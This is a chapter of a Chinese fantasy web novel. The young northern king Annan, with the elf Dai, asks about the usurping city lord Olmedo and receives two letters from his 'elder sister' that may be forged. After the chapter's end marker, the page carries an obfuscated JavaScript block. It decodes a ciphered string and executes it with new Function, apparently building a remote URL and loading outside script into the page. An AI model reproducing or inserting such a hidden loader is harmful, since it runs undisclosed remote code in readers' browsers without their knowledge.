叩叩叩
响起的敲门声打断卧室里的旖旎氛围。
“谁在外面？”
黛轻柔地落回地面，微凉的安南披上法师袍，打开房门。
女仆艾比捧着餐盘站在门外：“女仆长让我为您送来晚餐。”
安南想起自己确实还没吃东西，让开位置，看着女仆艾比放下餐盘转身离开，轻轻关上房门。
黛掀开餐盘，一块烘焙面包和蘑菇浓汤。她掰开面包，又尝了尝浓汤，没有什么问题。
“谢谢。”
安南没有邀请黛一起享用晚餐，他记得精灵拒绝人造食品，只吃天然的果实或蜂蜜、枫糖。
“所以你知道那位奥尔梅多的事吗？”安南边吃边问黛。
“他是奥尔梅多家族的继承人。”
黛知道的也不多。
晚餐之后，安南将蜘蛛瓶放在阴暗避光的床底，穿着法师袍爬上床铺，发现黛还在这儿。
“你不回去吗？”
“精灵不需要太多睡眠，如果让你睡不着的话……”
黛话语刚比以往多了些，就融入角落的阴影。
想到黛就在某片阴影里，安南悄悄拉起被子，只露出一双和黑夜一样的眼睛。
……
安南在柔软的大床上缓缓醒来，惺忪的眼睛逐渐恢复焦距，看见坐在角落，读着他从阁楼带来的书的黛。
“早上好。”
安南坐起，滑落的被子带来晨间的凉意。
黛望了安南一眼，又回到那本书上。
“早上好。”
正在精灵手上的书叫《夜之城》，安南还没来得及看。
推开露台门，吹过树梢的凉风让安南困意消散。
现在是八月，整个夏季最热的时候，但北方雪山源源不断南下的寒流居然让清晨的鼻子变得微红。
随着安南关上了露台门，被风掀起的窗帘落下。
昨晚的蘑菇浓汤没能填饱安南的肚子，很快就饿了的安南和捧着书的黛来到餐厅。
角落的座钟指针让安南想起，距离天启预报的倒计时还剩下十五天。
安南的早餐是蔬菜沙拉和一份栗子肉汤，黛是一份水果。黛试菜的时候，安南问艾比：“知道城主奥尔梅多吗？”
准备出门的艾比停了下来，回答安南的话：“城主大人深受平民爱戴，他会带领微风城获得更光辉的未来。”
年轻的北境之王、微风城未来的城主、遭受袭击和篡位的安南里维斯眨了眨眼。
女仆艾比当然知道面前是谁，但仍然坚持地说：“安南少爷，城主让我们看到了远离战乱和穷苦的希望。”
“为什么这么说？他做了什么吗？”安南好奇地问。
安南起初以为只是吹捧，或是政客常有的画饼：永远不会实现上任前宣称的宏伟蓝图。但是艾比讲述出奥尔梅多成为城主的两个月里，微风城的变化：首先是持续运送物资支援雪山之巅的要塞防线，然后宣传清道夫，清理城内鼠患，颁布法令要求贵族严苛遵守律法，捐赠孤儿院赡养无家可归的孩童。
艾比和她的弟弟就是因此活了下来，并被美酒女士收留。
作为城主的政策的既得利者，艾比理所应当维护奥尔梅多。
安南猜测，艾比担心自己夺回城主会让这些得而复失，才这幅态度？
“今天您要出门吗？”艾比问道。
“嗯。”
“我去准备马车。”
艾比离开餐厅，安南问黛：“她说的是真的吗？”
“不知道。”披着斗篷的精灵观察着安南：“如果是，你会怎么办？”
“那么让给他也没什么。”
作为被袭击、被篡夺城主之位的北境之王，应该憎恨奥尔梅多，哪怕他做得再好但安南不是，他知道自己是个冒牌货。奥古斯塔奥尔梅多也知道。
安南只想避免这场祸事，以及趁机壮大自己。
不过黛不知道。所以在她眼中，安南此刻闪烁着人性的光辉。
吃完早餐，安南带着黛给的一颗苹果坐上马车。
“我们先去弗朗科伊斯那儿。”
马车驶出庄园，沿着宽敞繁华的大街一路向南，在快要出城时转向一条窄道。周边环境逐渐变得荒凉。虽然不是贫民窟的破落棚屋，但颜色不一致的砖墙、屋檐补丁意味着马车驶入了一片平民区。
弗朗科伊斯的男爵府邸就坐落在这里，似乎可以窥见这位男爵面临的窘境。
男爵热烈欢迎安南的到来，并欣然接受为北境之王做事，还邀请安南欣赏他的收藏室。
按照他的谄媚言论，能够成为北境之王的狗是他的荣幸。
安南上一个看过的收藏室是卡达琳娜的战利品，所以谢绝了同样爱好特殊的弗朗科伊斯的邀请，说明来意：
“你了解奥尔梅多吗？”
“那个篡位者？他是个可耻的窃贼，肮脏的猪猡，阴险的老鼠……”
“抛去私人矛盾和恭维我的部分。”
虽然安南还挺想听弗朗科伊斯有趣的排比的。
然后弗朗科伊斯只好说，那位杰弗里奥尔梅多是个极具个人魅力的年轻人。
“当然，他绝对不如您。”
他做了许多有利于微风城的事。
“但是，您上任后绝对比他做得好！”
奥尔梅多家族和旧贵族是他的靠山。
“只是，他们永远无法比拟北境十二王！”
这种一半吹嘘一半事实之中，弗朗科伊斯的男仆说一名自称晨风酒馆的伙计来给安南送信。
那确实是晨风酒馆的伙计，黛检查信件后交给安南。
信件署名……伊蒂莉娅里维斯。
安南的“大姐”。
信上前半部分和上一封信一样，劝李维斯回来，但如果李维斯想要留下，就让他去劳伦斯特家族寻求帮助。
安南皱着眉取出另一封信。
它们笔迹相仿，起码安南无法辨认出区别……
“怎么了，安南阁下？”
“我收到了两封信，一封可能是假的，另一封……也可能是假的。”
“请问能不能告诉我上面写着什么，或许我可以帮您分析出什么……”
安南的回应是直接将信递给弗朗科伊斯。
弗朗科伊斯因这份信任，俊美脸颊染上红晕，双手颤抖地接过信件，逐字逐句的阅读后激动地站起：
“北境之王阁下，答案就在这封信里！”
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();